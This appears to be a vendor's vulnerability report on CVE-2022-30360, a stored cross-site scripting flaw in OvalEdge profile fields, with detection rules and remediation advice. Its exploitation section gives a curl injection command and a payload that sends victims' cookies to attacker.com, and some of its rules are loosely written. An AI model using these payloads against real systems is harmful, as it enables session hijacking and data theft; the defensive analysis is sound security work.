CVE-2022-30360
Executive Summary
CVE-2022-30360 identifies multiple Stored Cross-Site Scripting (XSS) vulnerabilities in OvalEdge versions 5.2.8.0 and earlier. An authenticated attacker can inject malicious scripts via the slackid or phone parameters in a POST request to /profile/updateProfile. These scripts are stored on the server and executed in the browsers of other users who view the affected profile, leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 4.8 (Medium) and no known patch is available. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector (AV): Network – The attack is executed over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – The attacker must have a valid user account.
- User Interaction (UI): Required – The victim must view the attacker’s profile.
- Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the lack of a patch and the potential for session hijacking make this a significant risk for OvalEdge deployments.
Deep Dive & Mechanics
The vulnerability resides in the profile update functionality of OvalEdge. The application fails to properly sanitize user-supplied input in the slackid and phone fields before storing it in the database. When another user views the attacker’s profile, the stored payload is rendered in the victim’s browser without proper encoding, allowing arbitrary JavaScript execution.
Root Cause: The application does not implement output encoding or input validation for these specific fields. The stored XSS occurs because the server-side code does not escape HTML entities before persisting the data, and the client-side rendering does not sanitize the output.
Attack Flow:
- Attacker logs in to OvalEdge.
- Attacker sends a POST request to
/profile/updateProfilewith a malicious payload in theslackidorphoneparameter. - The payload is stored in the database.
- Victim user navigates to the attacker’s profile page.
- The stored payload executes in the victim’s browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Server-side, pseudo-code):
# Vulnerable: No sanitization
def update_profile(request):
slackid = request.POST.get('slackid')
phone = request.POST.get('phone')
# Directly store without sanitization
db.execute("UPDATE users SET slackid = ?, phone = ? WHERE id = ?", (slackid, phone, request.user.id))
Patched Code (Recommended):
# Patched: Input sanitization and output encoding
import html
def update_profile(request):
slackid = html.escape(request.POST.get('slackid'))
phone = html.escape(request.POST.get('phone'))
db.execute("UPDATE users SET slackid = ?, phone = ? WHERE id = ?", (slackid, phone, request.user.id))
Client-side Rendering (Vulnerable):
<!-- Vulnerable: Direct insertion without encoding -->
<div class="profile-slackid"><?php echo $user['slackid']; ?></div>
Client-side Rendering (Patched):
<!-- Patched: Use textContent or innerText to prevent XSS -->
<div class="profile-slackid" id="slackid-container"></div>
<script>
document.getElementById('slackid-container').textContent = '<?php echo htmlspecialchars($user['slackid'], ENT_QUOTES, 'UTF-8'); ?>';
</script>
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Valid user credentials for OvalEdge.
- Network access to the OvalEdge instance.
Exploit Payload:
<script>alert('XSS')</script>
Step-by-Step Exploitation:
- Log in to OvalEdge.
- Use a tool like Burp Suite or cURL to send a POST request:
curl -X POST https://target.com/profile/updateProfile \
-H "Cookie: session=valid_session_cookie" \
-d "slackid=<script>alert('XSS')</script>&phone=1234567890"
- The payload is stored. When another user views the attacker’s profile, the script executes.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Detection & Mitigation)
Detection:
- Monitor POST requests to
/profile/updateProfilefor suspicious parameters. - Look for HTML tags or JavaScript keywords in
slackidandphonefields. - Use WAF rules to block common XSS patterns.
Mitigation:
- Apply input validation and output encoding as shown in the patched code.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly update OvalEdge to the latest version if a patch becomes available.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/profile/updateProfilecontaining<script>tags or event handlers (e.g.,onerror,onload). - Outbound connections to attacker-controlled domains from OvalEdge users.
- POST requests to
Host IOCs:
- Stored XSS payloads in the database
userstable, specifically inslackidorphonecolumns. - Unexpected JavaScript execution in browser developer tools.
- Stored XSS payloads in the database
Log IOCs:
- Application logs showing unusual characters in profile update requests.
- Web server logs with
%3Cscript%3E(URL-encoded<script>) in the request body.
Detection Engineering
YARA Rule
rule CVE_2022_30360_OvalEdge_XSS {
meta:
description = "Detects stored XSS payloads in OvalEdge profile update requests"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2022-30360"
strings:
$xss1 = "<script" ascii wide nocase
$xss2 = "onerror=" ascii wide nocase
$xss3 = "onload=" ascii wide nocase
$xss4 = "javascript:" ascii wide nocase
$param1 = "slackid=" ascii wide nocase
$param2 = "phone=" ascii wide nocase
condition:
($param1 or $param2) and ($xss1 or $xss2 or $xss3 or $xss4)
}
Sigma Rule
title: OvalEdge Stored XSS via Profile Update
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /profile/updateProfile with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/profile/updateProfile'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in profile fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2022-30360 OvalEdge Stored XSS Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/profile/updateProfile";
http_uri;
content:"slackid=";
http_client_body;
pcre:"/(<script|onerror=|onload=|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2022-30360;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Implement strict server-side validation for
slackidandphonefields. Allow only alphanumeric characters and common phone formats. - Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) when rendering user-supplied data in profile pages.
- Content Security Policy (CSP): Deploy a CSP header that restricts script execution to trusted sources only.
- Web Application Firewall (WAF): Configure WAF rules to block requests containing XSS patterns in the
slackidandphoneparameters.
Long-term Fix:
- Apply the vendor patch if and when it becomes available. Since no patch is currently available, consider upgrading to a newer version of OvalEdge if one is released.
- Conduct a security audit of the entire application for similar vulnerabilities.
Workaround:
- Disable the profile update functionality temporarily if it is not critical to operations.
- Use a reverse proxy to sanitize input before it reaches the application.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.